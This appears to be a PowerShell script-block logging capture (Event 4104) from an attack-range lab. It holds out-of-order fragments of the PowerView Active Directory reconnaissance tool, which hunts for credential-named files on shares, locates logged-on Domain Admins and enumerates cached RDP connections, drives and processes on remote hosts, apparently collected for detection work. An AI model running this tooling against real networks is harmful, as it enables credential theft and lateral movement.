($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } $TargetComputers = @() # first, build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { $TargetComputers = @($ComputerName) } else { if ($PSBoundParameters['Stealth']) { Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource" $TargetComputerArrayList = New-Object System.Collections.ArrayList if ($StealthSource -match 'File|All') { Write-Verbose '[Find-DomainUserLocation] Querying for file servers' $FileServerSearcherArguments = @{} if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombst ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989528 Keywords=None Message=Creating Scriptblock text (48 of 61): PUTS PowerView.FoundFile #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.FoundFile')] [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String[]] $Path = '.\', [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [Alias('SearchTerms', 'Terms')] [String[]] $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastAccessTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastWriteTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $CreationTime, [Parameter(ParameterSetName = 'OfficeDocs')] [Switch] $OfficeDocs, [Parameter(ParameterSetName = 'FreshEXEs')] [Switch] $FreshEXEs, [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeFolders, [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeHidden, [Switch] $CheckWriteAccess, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Recurse' = $True 'ErrorAction' = 'SilentlyContinue' 'Include' = $Include } if ($PSBoundParameters['OfficeDocs']) { $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') } elseif ($PSBoundParameters['FreshEXEs']) { # find .exe's accessed within the last 7 days $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') $SearcherArguments['Include'] = @('*.exe') } $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] $MappedComputers = @{} function Test-Write { # short helper to check is the current user can write to a file [CmdletBinding()]Param([String]$Path) try { $Filetest = [IO.File]::OpenWrite($Path) $Filetest.Close() $True } catch { $False } } } PROCESS { ForEach ($TargetPath in $Path) { if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $HostComputer = (New-Object System.Uri($TargetPath)).Host if (-not $MappedComputers[$HostComputer]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential $MappedComputers[$HostComputer] = $True } } $SearcherArguments['Path'] = $TargetPath Get-ChildItem @SearcherArguments | ForEach-Object { # check if we're excluding folders $Continue = $True if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { Write-Verbose "Excluding: $($_.FullName)" $Continue = $False } if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { $Continue = $False } if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { $Continue = $False } if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { $Continue = $False } if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { $Continue = $False } if ($Continue) { $FileParams = @{ 'Path' = $_.FullName 'Owner' = $((Get-Acl $_.FullName).Owner) 'LastAccessTime' = $_.LastAccessTime 'LastWriteTime' = $_.LastWriteTime 'CreationTime' = $_.CreationTime 'Length' = $_.Length } $FoundFile = New-Object -TypeName PSObject -Property $FileParams $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile') $FoundFile } } } } END { # remove the IPC$ mappings $MappedComputers.Keys | Remove-RemoteConnection } } ######################################################## # # 'Meta'-functions start below # ######################################################## function New-ThreadedFunction { # Helper used by any threaded host enumeration functions [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [String[]] $ComputerName, [Parameter(Position = 1, Mandatory = $True)] [System.Management.Automation.ScriptBlock] $ScriptBlock, [Parameter(Position = 2)] [Hashtable] $ScriptParameters, [Int] [ValidateRange(1, 100)] $Threads = 20, [Switch] $NoImports ) BEGIN { # Adapted from: # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() # force a single-threaded apartment state (for token-impersonation stuffz) $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA # import the current session state's variables and functions so the chained PowerView # functionality can be used by the threaded blocks if (-not $NoImports) { # grab all the current variables for this runspace $MyVars = Get-Variable -Scope 2 # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') # add Variables from Parent Scope (current runspace) into the InitialSessionState ForEach ($Var in $MyVars) { if ($VorbiddenVars -NotContains $Var.Name) { $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) } } # add Functions from current runspace to the InitialSessionState ForEach ($Function in (Get-ChildItem Function:)) { $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) } } # threading adapted from # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 # Thanks Carlos! # create a pool of maxThread runspaces $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) $Pool.Open() # do some trickery to get the proper BeginInvoke() method that allows for an output queue $Method = $Null ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { $MethodParameters = $M.GetParameters() if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { $Method = $M.MakeGenericMethod([Object], [Object]) break } } $Jobs = @() $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" # partition all hosts from -ComputerName into $Threads number of groups if ($Threads -ge $ComputerName.Length) { $Threads = $ComputerName.Length } $ElementSplitSize = [Int]($ComputerName.Length/$Threads) $ComputerNamePartitioned = @() $Start = 0 $End = $ElementSplitSize for($i = 1; $i -le $Threads; $i++) { $List = New-Object System.Collections.ArrayList if ($i -eq $Threads) { $End = $ComputerName.Length } $List.AddRange($ComputerName[$Start..($End-1)]) $Start += $ElementSplitSize $End += $ElementSplitSize $ComputerNamePartitioned += @(,@($List.ToArray())) } Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { # create a "powershell pipeline runner" $PowerShell = [PowerShell]::Create() $PowerShell.runspacepool = $Pool # add the script block + arguments with the given computer partition $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) if ($ScriptParameters) { ForEach ($Param in $ScriptParameters.GetEnumerator()) { $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) } } # create the output queue $Output = New-Object Management.Automation.PSDataCollection[Object] # kick off execution using the BeginInvok() method that allows queues $Jobs += @{ PS = $PowerShell Output = $Output Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) } } } END { Write-Verbose "[New-ThreadedFunction] Threads executing" # continuously loop through each job queue, consuming output as appropriate Do { ForEach ($Job in $Jobs) { $Job.Output.ReadAll() } Start-Sleep -Seconds 1 } While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) $SleepSeconds = 100 Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..." # cleanup- make sure we didn't miss anything for ($i=0; $i -lt $SleepSeconds; $i++) { ForEach ($Job in $Jobs) { $Job.Output.ReadAll() $Job.PS.Dispose() } Start-Sleep -S 1 } $Pool.Dispose() Write-Verbose "[New-ThreadedFunction] all threads completed" } } function Find-DomainUserLocation { <# .SYNOPSIS Finds domain machines where specific users are logged into. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and queries the domain for users of a specified group (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989527 Keywords=None Message=Creating Scriptblock text (47 of 61): if ($Connection -match 'MRU.*') { $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue $FoundConnection = New-Object PSObject $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') $FoundConnection } } # pull out all the cached server info with username hints $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames ForEach ($Server in $ServerKeys) { $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue $FoundConnection = New-Object PSObject $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') $FoundConnection } } catch { Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_" } } } catch { Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } } } function Get-WMIRegMountedDrive { <# .SYNOPSIS Returns information about saved network mounted drives for the local (or remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertFrom-SID .DESCRIPTION Uses remote registry functionality to enumerate recently mounted network drives. .PARAMETER ComputerName Specifies the hostname to query for mounted drive information (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegMountedDrive Returns the saved network mounted drives for the local machine. .EXAMPLE Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local Returns the saved network mounted drives for the WINDOWS2.testlab.local machine .EXAMPLE Get-DomainComputer | Get-WMIRegMountedDrive Returns the saved network mounted drives for all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.RegMountedDrive A PSCustomObject containing the ComputerName and mounted drive information. #> [OutputType('PowerView.RegMountedDrive')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_USERS $HKU = 2147483651 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { $Reg = Get-WmiObject @WmiArguments # extract out the SIDs of domain users in this hive $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } ForEach ($UserSID in $UserSIDs) { try { if ($PSBoundParameters['Credential']) { $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential } else { $UserName = ConvertFrom-SID -ObjectSid $UserSID } $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames ForEach ($DriveLetter in $DriveLetters) { $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue if (-not $UserName) { $UserName = '' } if ($RemotePath -and ($RemotePath -ne '')) { $MountedDrive = New-Object PSObject $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer $MountedDrive | Add-Member Noteproperty 'UserName' $UserName $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive') $MountedDrive } } } catch { Write-Verbose "[Get-WMIRegMountedDrive] Error: $_" } } } catch { Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } } } function Get-WMIProcess { <# .SYNOPSIS Returns a list of processes and their owners on the local or remote machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, including the owners of the particular process. .PARAMETER ComputerName Specifies the hostname to query for cached RDP connections (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .EXAMPLE Get-WMIProcess -ComputerName WINDOWS1 .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.UserProcess A PSCustomObject containing the remote process information. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.UserProcess')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { try { $WmiArguments = @{ 'ComputerName' = $ComputerName 'Class' = 'Win32_process' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } Get-WMIobject @WmiArguments | ForEach-Object { $Owner = $_.getowner(); $Process = New-Object PSObject $Process | Add-Member Noteproperty 'ComputerName' $Computer $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID $Process | Add-Member Noteproperty 'Domain' $Owner.Domain $Process | Add-Member Noteproperty 'User' $Owner.User $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess') $Process } } catch { Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_" } } } } function Find-InterestingFile { <# .SYNOPSIS Searches for files on the given path that match a series of specified criteria. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection .DESCRIPTION This function recursively searches a given UNC path for files with specific keywords in the name (default of pass, sensitive, secret, admin, login and unattend*.xml). By default, hidden files/folders are included in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. .PARAMETER Path UNC/local path to recursively search. .PARAMETER Include Only return files/folders that match the specified array of strings, i.e. @(*.doc*, *.xls*, *.ppt*) .PARAMETER LastAccessTime Only return files with a LastAccessTime greater than this date value. .PARAMETER LastWriteTime Only return files with a LastWriteTime greater than this date value. .PARAMETER CreationTime Only return files with a CreationTime greater than this date value. .PARAMETER OfficeDocs Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) .PARAMETER FreshEXEs Switch. Find .EXEs accessed within the last 7 days. .PARAMETER ExcludeFolders Switch. Exclude folders from the search results. .PARAMETER ExcludeHidden Switch. Exclude hidden files and folders from the search results. .PARAMETER CheckWriteAccess Switch. Only returns files the current user has write access to. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials to connect to remote systems for file enumeration. .EXAMPLE Find-InterestingFile -Path "C:\Backup\" Returns any files on the local path C:\Backup\ that have the default search term set in the title. .EXAMPLE Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7) Returns any files on the remote path \\WINDOWS7\Users\ that have the default search term set in the title and were accessed within the last week. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\" .OUT ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989526 Keywords=None Message=Creating Scriptblock text (46 of 61): te()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # if we get an IP address, try to resolve the IP to a hostname if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { $IPAddress = $Computer $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName } else { $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress } $PtrInfo = [IntPtr]::Zero $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) $ComputerSite = New-Object PSObject $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress if ($Result -eq 0) { $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename } else { Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)" $ComputerSite | Add-Member Noteproperty 'SiteName' '' } $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) $ComputerSite } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-WMIRegProxy { <# .SYNOPSIS Enumerates the proxy server and WPAD conents for the current user. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Enumerates the proxy server and WPAD specification for the current user on the local machine (default), or a machine specified with -ComputerName. It does this by enumerating settings from HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. .PARAMETER ComputerName Specifies the system to enumerate proxy settings on. Defaults to the local host. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegProxy ComputerName ProxyServer AutoConfigURL Wpad ------------ ----------- ------------- ---- WINDOWS1 http://primary.test... .EXAMPLE $Cred = Get-Credential "TESTLAB\administrator" Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local ComputerName ProxyServer AutoConfigURL Wpad ------------ ----------- ------------- ---- windows1.testlab.local primary.testlab.local .INPUTS String Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). .OUTPUTS PowerView.ProxySettings Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. #> [OutputType('PowerView.ProxySettings')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { try { $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } $RegProvider = Get-WmiObject @WmiArguments $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' # HKEY_CURRENT_USER $HKCU = 2147483649 $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue $Wpad = '' if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { try { $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) } catch { Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL" } } if ($ProxyServer -or $AutoConfigUrl) { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ComputerName' $Computer $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL $Out | Add-Member Noteproperty 'Wpad' $Wpad $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') $Out } else { Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName" } } catch { Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_" } } } } function Get-WMIRegLastLoggedOn { <# .SYNOPSIS Returns the last user who logged onto the local (or a remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This function uses remote registry to enumerate the LastLoggedOnUser registry key for the local (or remote) machine. .PARAMETER ComputerName Specifies the hostname to query for remote registry values (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegLastLoggedOn Returns the last user logged onto the local machine. .EXAMPLE Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 Returns the last user logged onto WINDOWS1 .EXAMPLE Get-DomainComputer | Get-WMIRegLastLoggedOn Returns the last user logged onto all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.LastLoggedOnUser A PSCustomObject containing the ComputerName and last loggedon user. #> [OutputType('PowerView.LastLoggedOnUser')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_LOCAL_MACHINE $HKLM = 2147483650 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'SilentlyContinue' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } # try to open up the remote registry key to grab the last logged on user try { $Reg = Get-WmiObject @WmiArguments $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' $Value = 'LastLoggedOnUser' $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue $LastLoggedOn = New-Object PSObject $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') $LastLoggedOn } catch { Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled." } } } } function Get-WMIRegCachedRDPConnection { <# .SYNOPSIS Returns information about RDP connections outgoing from the local (or remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertFrom-SID .DESCRIPTION Uses remote registry functionality to query all entries for the "Windows Remote Desktop Connection Client" on a machine, separated by user and target server. .PARAMETER ComputerName Specifies the hostname to query for cached RDP connections (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegCachedRDPConnection Returns the RDP connection client information for the local machine. .EXAMPLE Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local Returns the RDP connection client information for the WINDOWS2.testlab.local machine .EXAMPLE Get-DomainComputer | Get-WMIRegCachedRDPConnection Returns cached RDP information for all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.CachedRDPConnection A PSCustomObject containing the ComputerName and cached RDP information. #> [OutputType('PowerView.CachedRDPConnection')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_USERS $HKU = 2147483651 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { $Reg = Get-WmiObject 